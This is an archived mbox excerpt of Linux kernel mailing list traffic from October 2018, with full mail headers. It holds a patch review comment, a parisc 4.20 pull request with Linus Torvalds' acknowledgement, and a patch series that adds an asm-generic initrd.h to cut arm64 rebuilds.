Xref: news.gmane.org gmane.linux.ports.arm.mediatek:15564 gmane.comp.video.dri.devel:240539 gmane.comp.file-systems.ceph.devel:41930 gmane.linux.power-management.general:107422 gmane.linux.ports.parisc:29215 gmane.linux.kernel:2905839 gmane.comp.security.firewalls.netfilter.devel:74341 gmane.linux.kernel.device-mapper.devel:35188 gmane.comp.freedesktop.xorg.drivers.intel:173091 gmane.linux.drivers.video-input-infrastructure:137437 gmane.linux.ports.arm.kernel:681006 gmane.linux.file-systems.ntfs.devel:4470 gmane.linux.file-systems:142024 gmane.linux.network:562011 gmane.comp.freedesktop.amd-gfx:27362 gmane.linux.nfs:88034 gmane.linux.kernel.mm:205848 gmane.linux.ports.ppc64.devel:164803 gmane.linux.kernel.kexec:21704 gmane.linux.kernel.lsm:40833
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.mediatek/15564>

Arun KS <arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org> writes:

> Remove managed_page_count_lock spinlock and instead use atomic
> variables.
>
> Suggested-by: Michal Hocko <mhocko-IBi9RG/b67k@public.gmane.org>
> Suggested-by: Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>
> Signed-off-by: Arun KS <arunks-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org>
>
> ---
> As discussed here,
> https://patchwork.kernel.org/patch/10627521/#22261253

My 2 cents.  I think you should include at least part of the discussion
in the patch description to make it more readable by itself.

Best Regards,
Huang, Ying

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for kernel v4.20
Date: Tue, 23 Oct 2018 17:00:26 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <20181023150026.GA15165@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540306719 13695 195.159.176.226 (23 Oct 2018 14:58:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 14:58:39 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Christoph Hellwig <hch@lst.de>,
        Masahiro Yamada <yamada.masahiro@socionext.com>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 23 16:58:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gEy8f-0003Q5-6a
	for glk-linux-kernel-4@m.gmane.org; Tue, 23 Oct 2018 16:58:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728364AbeJWXY2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 23 Oct 2018 19:24:28 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:46519 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726277AbeJWXY2 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 23 Oct 2018 19:24:28 -0400
Original-Received: from ls3530.fritz.box ([92.116.150.172]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M93Jp-1gKAAl3KGL-00CNkl; Tue, 23
 Oct 2018 17:00:30 +0200
Original-Received: from ls3530.fritz.box ([92.116.150.172]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M93Jp-1gKAAl3KGL-00CNkl; Tue, 23
 Oct 2018 17:00:30 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:mWp9nssy0REcduZHJI/SgkNRPUaDB7hrNFxZMxRhDo3rDvLlHuw
 BIYVy7W5Emze0PnHkBRhLKXAMrCq+MQh2FBfF/D363MC85hRXrBqmi/g0ZE8szBfBWECb2B
 qU32ZAn4sRYbYti0UTCbrsYMDIb3quuT1bk4HbFELsfA00M9WVTQOzUe6HMbQ2a8bo6NPAI
 m/3rgGZ4OBzsd8PAmIMDg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Gi+X7BqLZTI=:aBf7SPrlvRqDa5JS1e/tU9
 hRCsO1D+adVn10fYToHnjTY03o2q8ULSh/86CI69ZkgDbeOOs/oRnMUlr1ANhy8Chji6UJ7x7
 lQyFLUTtmNqFyHjjQFYmFH6i5QUV3otKZZrVMwndt8zrG54Yr8F0CAkHjCmghNiinx0Y5noC6
 BjsxTEp3fJiNde31j7W9ZpX1+0kt+WikOVSXpYGP+o+E9ao7GQbf2bqnqSSuyhPAondIyEAd2
 FciJfBbSZ1Rkd7AJTOwKYS3G+1lqS0uz0p0qbMDPiV1bGN91JQBdOsEX4ZTcY0qu7ucmSMJAt
 SiPqnmTVNuUFr4YnOwIU3j63pjdACmlazZcqrMAKW5GJsCtfqJZZ+ua4IpUOQ1e+CSdkaK2iv
 xoQogncEeCPZ0IUcrX1X3DzphhGrw5byKwNGHdSV7KtL6FhCtvYw4lcdoT5P8Rig7PoRzAZs9
 8aLbYtcoisLvJJUgOxjBWfMoT3OCtHMPwGammmaUaKtFreG3GaSkBj/zk+kPaifmKw9evQmx3
 MBXwnekFzY3Y8GqNRAr2rsLxh7ZMjJUlulSJq2ODLsC75pSIjqGW32PpbvKBk096wHbrCoYpg
 JwYRhBzmIKC6aoJG1oXPJKMJDHU9aZqTT87x6Pv0I8nC9cDM0PHCbJthy4jsdaQ/CkTsTBtTc
 RISlPV87scnO5DjogeV0ZwN31M8IbRdta2MGS+niKmSYuNeTHm+vN2h/J7Xh/uHuogWQ8eUU6
 4aAsbWC70b/OZVBULEEz0iK7DhWXHe5bJCOCJ/J/CbtjFfnWPlfAFuO8AW1ajslCbfK7G/wj 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2906143 gmane.linux.ports.parisc:29216
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2906143>

Hi Linus,

please pull the parisc architecture patches and fixes for 4.20-rc1 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.20-1

Lots of small fixes and enhancements, most noteably:

- Many TLB and cache flush optimizations (Dave)
- Fixed HPMC/crash handler on 64-bit kernel (Dave and myself)
- Added alternative infrastructre. The kernel now live-patches itself
  for various situations, e.g. replace SMP code when running on one CPU
  only or drop cache flushes when system has no cache installed.
- vmlinuz now contains a full copy of the compressed vmlinux file. This
  simplifies debugging the currently booted kernel.
- Unused driver removal (Christoph)
- Reduced warnings of Dino PCI bridge when running in qemu
- Removed gcc version check (Masahiro)

Thanks,
Helge

----------------------------------------------------------------
Christoph Hellwig (1):
      parisc: remove the dead ccio-rm-dma driver

Helge Deller (14):
      parisc: Use PARISC_ITLB_TRAP constant in entry.S
      parisc: Add SYSTEM_INFO and REGISTER TOC PAT functions
      parisc: Clean up crash header output
      parisc: dino: Utilize DINO_MASK_IRQ() macro
      parisc: Ratelimit dino stuck interrupt warnings
      parisc: Fix map_pages() to not overwrite existing pte entries
      parisc: Fix exported address of os_hpmc handler
      extract-vmlinux: Check for uncompressed image as fallback
      parisc: Include compressed vmlinux file in vmlinuz boot kernel
      parisc: Add alternative coding infrastructure
      parisc: Use zdep for shlw macro on PA1.1 and PA2.0
      parisc: Drop two instructions from pte lookup code
      parisc: Add PDC PAT cell_info() and pd_get_pdc_revisions() functions
      parisc: Retrieve and display the PDC PAT capabilities

John David Anglin (7):
      parisc: Reorder TLB flush timing calculation
      parisc: Remove PTE load and fault check from L2_ptep macro
      parisc: Release spinlocks using ordered store
      parisc: Purge TLB entries after updating page table entry and set page accessed flag in TLB handler
      parisc: Fix address in HPMC IVA
      parisc: Remove pte_inserted define
      parisc: Optimze cache flush algorithms

Masahiro Yamada (1):
      parisc: remove check for minimum required GCC version

 arch/parisc/Makefile                      |   9 -
 arch/parisc/boot/compressed/Makefile      |   4 +-
 arch/parisc/boot/compressed/misc.c        |  95 ++++++++--
 arch/parisc/boot/compressed/vmlinux.lds.S |  10 +-
 arch/parisc/include/asm/alternative.h     |  47 +++++
 arch/parisc/include/asm/assembly.h        |   9 +-
 arch/parisc/include/asm/cache.h           |  22 ++-
 arch/parisc/include/asm/page.h            |  12 +-
 arch/parisc/include/asm/pdc.h             |   1 +
 arch/parisc/include/asm/pdcpat.h          |  62 +++++--
 arch/parisc/include/asm/pgtable.h         |  33 ++--
 arch/parisc/include/asm/sections.h        |   2 +
 arch/parisc/include/asm/spinlock.h        |   4 +-
 arch/parisc/include/asm/tlbflush.h        |   3 +-
 arch/parisc/kernel/cache.c                |  63 ++++---
 arch/parisc/kernel/entry.S                |  34 ++--
 arch/parisc/kernel/firmware.c             |  57 ++++++
 arch/parisc/kernel/hpmc.S                 |   3 +-
 arch/parisc/kernel/inventory.c            |  10 ++
 arch/parisc/kernel/pacache.S              | 280 ++++++++++++++++++++++++++----
 arch/parisc/kernel/setup.c                |  81 +++++++++
 arch/parisc/kernel/signal.c               |   1 -
 arch/parisc/kernel/syscall.S              |  12 +-
 arch/parisc/kernel/traps.c                |   7 +-
 arch/parisc/kernel/vmlinux.lds.S          |   6 +
 arch/parisc/mm/init.c                     |  23 ++-
 drivers/parisc/Makefile                   |   3 -
 drivers/parisc/ccio-dma.c                 |  12 +-
 drivers/parisc/ccio-rm-dma.c              | 202 ---------------------
 drivers/parisc/dino.c                     |   5 +-
 drivers/parisc/sba_iommu.c                |  17 +-
 scripts/extract-vmlinux                   |   6 +-
 32 files changed, 721 insertions(+), 414 deletions(-)
 create mode 100644 arch/parisc/include/asm/alternative.h
 delete mode 100644 drivers/parisc/ccio-rm-dma.c


From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc architecture updates for kernel v4.20
Date: Tue, 23 Oct 2018 20:03:08 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <CAHk-=wgwVoFCx1EUhr6B-0rjiyUsX5zcVgchMZaPt0Zu6kL_gQ@mail.gmail.com>
References: <20181023150026.GA15165@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1540321291 2306 195.159.176.226 (23 Oct 2018 19:01:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 19:01:31 +0000 (UTC)
Cc: Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-parisc@vger.kernel.org,
        James.Bottomley@hansenpartnership.com, dave.anglin@bell.net,
        Christoph Hellwig <hch@lst.de>, yamada.masahiro@socionext.com,
        Greg KH <gregkh@linuxfoundation.org>
To: deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Oct 23 21:01:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gF1vg-0000QF-Ir
	for glk-linux-kernel-4@m.gmane.org; Tue, 23 Oct 2018 21:01:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728893AbeJXD2H (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 23 Oct 2018 23:28:07 -0400
Original-Received: from mail-lf1-f47.google.com ([209.85.167.47]:36779 "EHLO
        mail-lf1-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728628AbeJXD2H (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 23 Oct 2018 23:28:07 -0400
Original-Received: by mail-lf1-f47.google.com with SMTP id l1-v6so2032042lfc.3
        for <linux-kernel@vger.kernel.org>; Tue, 23 Oct 2018 12:03:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=wWgmgY1EDygYSntxFvOrd9627/vUWkyA1zSJhnnMEx4=;
        b=Wc6C+9bpEovCBGtJwmiDAb0sz3JtcthgJ9vWubuGpiR1OS5f+fwPD1RwwdqkGDSuNO
         FAmAsixgbCcltlHowUyNBTQvEus24LuvtdRLaPoLoQuF6BJf+Cd2Yb6/5H/JpnhW2+yy
         ud7bXAxG6VppWE1acO2sd29L6heHUkvwKU/Kk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=wWgmgY1EDygYSntxFvOrd9627/vUWkyA1zSJhnnMEx4=;
        b=WRbVQq/3zqVh+vdD8/ekegOAelb2ixcPjMkgbNYDZeC3nLlqNmiNUZg41o2CGKI/eS
         srTL4pZZv3J1vTBbbA9cwhG9ypk3DsnHEY4qbuJsZ8NpncPJjOA6zF3MwSrp9dpgk1BD
         qCusJbJeTkhNyYm6iYTFrf+wP3Lvp1lpKtJxlxqVEz2HP1p3FbTajgVzuOhoD29iVa/V
         dOh2J0me4HZLKsWSLPGLxS2ARo3MII/8G6IgNJido8rWxGAWy2TQRYBcBzY0APja6PqV
         449858ztGb1gTlZxM4ZNVjUWLpLZwAAaDwfzkViZxwlkeGVLVgKnDXpcDLbrMOjhVUij
         /o3w==
X-Gm-Message-State: ABuFfojPTl4C5I4f0eCgYpPooEAZeJasRUwDtMEL+5bYd/p8TuxfOK24
        njmKeTvOwTyI94BVJ7r3ahLPAVewVbz4o1Ca
X-Google-Smtp-Source: ACcGV62ohv9Iu0L9iJXo4StzFJOx7jrLuRFaUW8/ewjh/hp0Nio227nkayGjbGLGhwzYWnzAO4NTZQ==
X-Received: by 2002:a19:1f46:: with SMTP id f67mr12789526lff.1.1540321405626;
        Tue, 23 Oct 2018 12:03:25 -0700 (PDT)
Original-Received: from mail-lf1-f48.google.com (mail-lf1-f48.google.com. [209.85.167.48])
        by smtp.gmail.com with ESMTPSA id z19-v6sm352091ljk.20.2018.10.23.12.03.24
        for <linux-kernel@vger.kernel.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 23 Oct 2018 12:03:24 -0700 (PDT)
Original-Received: by mail-lf1-f48.google.com with SMTP id d7-v6so2041556lfi.2
        for <linux-kernel@vger.kernel.org>; Tue, 23 Oct 2018 12:03:24 -0700 (PDT)
X-Received: by 2002:a19:3fcf:: with SMTP id m198mr2369287lfa.106.1540321403939;
 Tue, 23 Oct 2018 12:03:23 -0700 (PDT)
In-Reply-To: <20181023150026.GA15165@ls3530.fritz.box>
X-Gmail-Original-Message-ID: <CAHk-=wgwVoFCx1EUhr6B-0rjiyUsX5zcVgchMZaPt0Zu6kL_gQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2906307 gmane.linux.ports.parisc:29217
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2906307>

On Tue, Oct 23, 2018 at 4:00 PM Helge Deller <deller@gmx.de> wrote:
>
> Lots of small fixes and enhancements, most noteably:

Pulled, thanks,

               Linus


From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.drivers.devicetree,gmane.linux.ports.ppc64.devel
Subject: [PATCH 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Tue, 23 Oct 2018 16:40:41 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20181023234044.1138-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540337970 8447 195.159.176.226 (23 Oct 2018 23:39:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2018 23:39:30 +0000 (UTC)
Cc: "open list:MIPS" <linux-mips@linux-mips.org>,
 Alan Kao <alankao@andestech.com>,
 "open list:SUPERH" <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 "open list:GENERIC INCLUDE/ASM HEADER FILES" <linux-arch@vger.kernel.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Marc Zyngier <marc.zyngier@arm.com>,
 "open list:USER-MODE LINUX UML" <linux-um@lists.infradead.org>,
 Thomas Gleixner <tglx@linutronix.de>, Richard Henderson <rth@twiddle.net>,
 Matt Redfearn <matt.redfearn@mips.com>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 Ralf Ba
To: linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Wed Oct 24 01:39:17 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gF6GZ-0001sX-F4
	for gla-linux-snps-arc@m.gmane.org; Wed, 24 Oct 2018 01:39:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=YZ6W36Ou6pHvijaT8GrexddleITW+X749z+oVWljvCw=; b=HhF
	RoECzbjhT/5LOY5EjAvDlUj8HYgISIjoWoBf8ApU8odoCNzDnFq5aDnY2wLcshmIK4iS8vf4LnOUk
	RLDDN5siamEThAxUkxG3W/nHT9snADfbSBFMQLB41lmDKDi9C76xlAMcLj7+Y+YbQrh2Ufpsn8D4N
	YqO+1MRS7d+Gjyj25DbTz20F6xfB1tTseZ/ukI+2fpZra1qWSr/EEgIMm+HICtdHATWBZHByKDMi2
	jv+SBlKecpRJ5HSR4HBaMS0mJtjVvvegLu8mIGbIQASXXgcKqEx6UFZrDKDZiAhhz9+RGFjS2Pw2F
	ccpw3TXqtOCfSAyOfHtrb+8qKpfK4xw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gF6Ie-0006kQ-Av; Tue, 23 Oct 2018 23:41:24 +0000
Original-Received: from mail-pl1-x641.google.com ([2607:f8b0:4864:20::641])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gF6Ia-0006jI-7K; Tue, 23 Oct 2018 23:41:21 +0000
Original-Received: by mail-pl1-x641.google.com with SMTP id y11-v6so1359221plt.3;
 Tue, 23 Oct 2018 16:41:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id;
 bh=7OS2r3euy1TczlyR46QbFm62nalquqEBBOjTowUcAkM=;
 b=JZ1FQW2sjznoZVhwKxRvzGXbACgNDowsPsyxlWZVVG7INAURVS5jcxx915CmrAtFRB
 8hWt+dLKEAVaszN//gmUjAYoT7FDyiMui97wYDmRNVObbg407myVHSOQQZ2tzM6HKXjZ
 mHfpSVcF4JVoAjUiAlqOz8+OgLkgiyNTMN4slZ2nQdl2qnD25v68X/twk29GWgHctS5W
 xnYbKMErl9Jjcz+rWWWrl4jqwHUvFwF5J4+jg0wCCfi+5wfY10suO+glJ/huiOk8gQQR
 VFWKT2AnmDQl75D4iT3d+hUeGJI3o/5MTq/bf6m/xNvsxIAEvup7H34zIhNHpVjgjKte
 er4Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id;
 bh=7OS2r3euy1TczlyR46QbFm62nalquqEBBOjTowUcAkM=;
 b=iShJuU+Ay6ReytOb+Q6JSSx7TVe6IIHPTizJKu2J/8DCGN0WiFFzrAzJOahiMxYdWh
 E1vWPCvKUcpj+t8dPBFie948duv0udEbp40iVDcYde6aTuXvjxCVRMY3fpkD+YGQVZ+Q
 PX2sEphSlU7Xl/ZAjXc1SEuLvTGX8EO5tHwT+4UU6eRtLLw6XfT2zSdoy8WzH9XN02eV
 1NM3heIInnZrgRkLgPhYYnOUp0LY4YkahtYe/nBpo3Un6lFX4LEJxkQ2ZKpoLclWpI1m
 9PGEy2czVHYpK72YbUxj4mPcHkJIDy4r9I56piDAtZCCpF8seBGwlOD5yrH5RCZmLDXn
 4jNg==
X-Gm-Message-State: AGRZ1gKZOt3iA+kor0FPfv9qzb6iP8nDR9CfgQ9x7gruGEGYkfvgx3NS
 05VgfaquFYC4VaQvWeXiCRk=
X-Google-Smtp-Source: AJdET5fBJhLb6MQXskYp1eO10D2a24G6cKuepRaM3H/nhlH771jer1HqF14MUwzRYB/YVHWQB+Kq3Q==
X-Received: by 2002:a17:902:6e08:: with SMTP id
 u8-v6mr162695plk.64.1540338065703; 
 Tue, 23 Oct 2018 16:41:05 -0700 (PDT)
Original-Received: from fainelli-desktop.igp.broadcom.net ([192.19.223.250])
 by smtp.gmail.com with ESMTPSA id a5-v6sm3041223pfo.53.2018.10.23.16.41.01
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 23 Oct 2018 16:41:04 -0700 (PDT)
X-Mailer: git-send-email 2.17.1
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181023_164120_293149_93CBB978 
X-CRM114-Status: GOOD (  14.99  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:641 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (f.fainelli[at]gmail.com)
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4596 gmane.linux.kernel:2906456 gmane.linux.ports.mips.general:67150 gmane.linux.ports.sh.devel:57671 gmane.linux.kernel.cross-arch:48030 gmane.linux.ports.ia64:29417 gmane.linux.ports.hexagon:1937 gmane.linux.ports.arm.kernel:681169 gmane.linux.ports.parisc:29218 gmane.linux.ports.alpha:5350 gmane.linux.ports.sparc:28632 gmane.linux.ports.riscv:1179 gmane.linux.drivers.devicetree:294124 gmane.linux.ports.ppc64.devel:164833
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4596>

Hi all,

While investigating why ARM64 required a ton of objects to be rebuilt
when toggling CONFIG_DEV_BLK_INITRD, it became clear that this was
because we define __early_init_dt_declare_initrd() differently and we do
that in arch/arm64/include/asm/memory.h which gets included by a fair
amount of other header files, and translation units as well.

This patch series proposes adding an empty initrd.h to satisfy the need
for drivers/of/fdt.c to unconditionally include that file, and moves the
custom __early_init_dt_declare_initrd() definition away from
asm/memory.h

This cuts the number of objects rebuilds from 1920 down to 26, so a
factor 73 approximately.

Apologies for the long CC list, please let me know how you would go
about merging that and if another approach would be preferable, e.g:
introducing a CONFIG_ARCH_INITRD_BELOW_START_OK Kconfig option or
something like that.

Florian Fainelli (2):
  arch: Add asm-generic/initrd.h and make use of it for most
    architectures
  arm64: Create asm/initrd.h

 arch/alpha/include/asm/Kbuild      |  1 +
 arch/arc/include/asm/Kbuild        |  1 +
 arch/arm/include/asm/Kbuild        |  1 +
 arch/arm64/include/asm/initrd.h    | 13 +++++++++++++
 arch/arm64/include/asm/memory.h    |  8 --------
 arch/c6x/include/asm/Kbuild        |  1 +
 arch/h8300/include/asm/Kbuild      |  1 +
 arch/hexagon/include/asm/Kbuild    |  1 +
 arch/ia64/include/asm/Kbuild       |  1 +
 arch/m68k/include/asm/Kbuild       |  1 +
 arch/microblaze/include/asm/Kbuild |  1 +
 arch/mips/include/asm/Kbuild       |  1 +
 arch/nds32/include/asm/Kbuild      |  1 +
 arch/nios2/include/asm/Kbuild      |  1 +
 arch/openrisc/include/asm/Kbuild   |  1 +
 arch/parisc/include/asm/Kbuild     |  1 +
 arch/powerpc/include/asm/Kbuild    |  1 +
 arch/riscv/include/asm/Kbuild      |  1 +
 arch/s390/include/asm/Kbuild       |  1 +
 arch/sh/include/asm/Kbuild         |  1 +
 arch/sparc/include/asm/Kbuild      |  1 +
 arch/um/include/asm/Kbuild         |  1 +
 arch/unicore32/include/asm/Kbuild  |  1 +
 arch/x86/include/asm/Kbuild        |  1 +
 arch/xtensa/include/asm/Kbuild     |  1 +
 drivers/of/fdt.c                   |  1 +
 include/asm-generic/initrd.h       |  1 +
 27 files changed, 38 insertions(+), 8 deletions(-)
 create mode 100644 arch/arm64/include/asm/initrd.h
 create mode 100644 include/asm-generic/initrd.h

-- 
2.17.1

From - Thu Nov 08 21:42:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Florian Fainelli <f.fainelli@gmail.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.drivers.devicetree,gmane.linux.ports.ppc64.devel
Subject: [PATCH 1/2] arch: Add asm-generic/initrd.h and make use of it for
 most architectures
Date: Tue, 23 Oct 2018 16:40:42 -0700
Lines: 317
Approved: news@gmane.org
Message-ID: <20181023234044.1138-2-f.fainelli@gmail.com>
References: <20181023234044.1138-1-f.fainelli@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
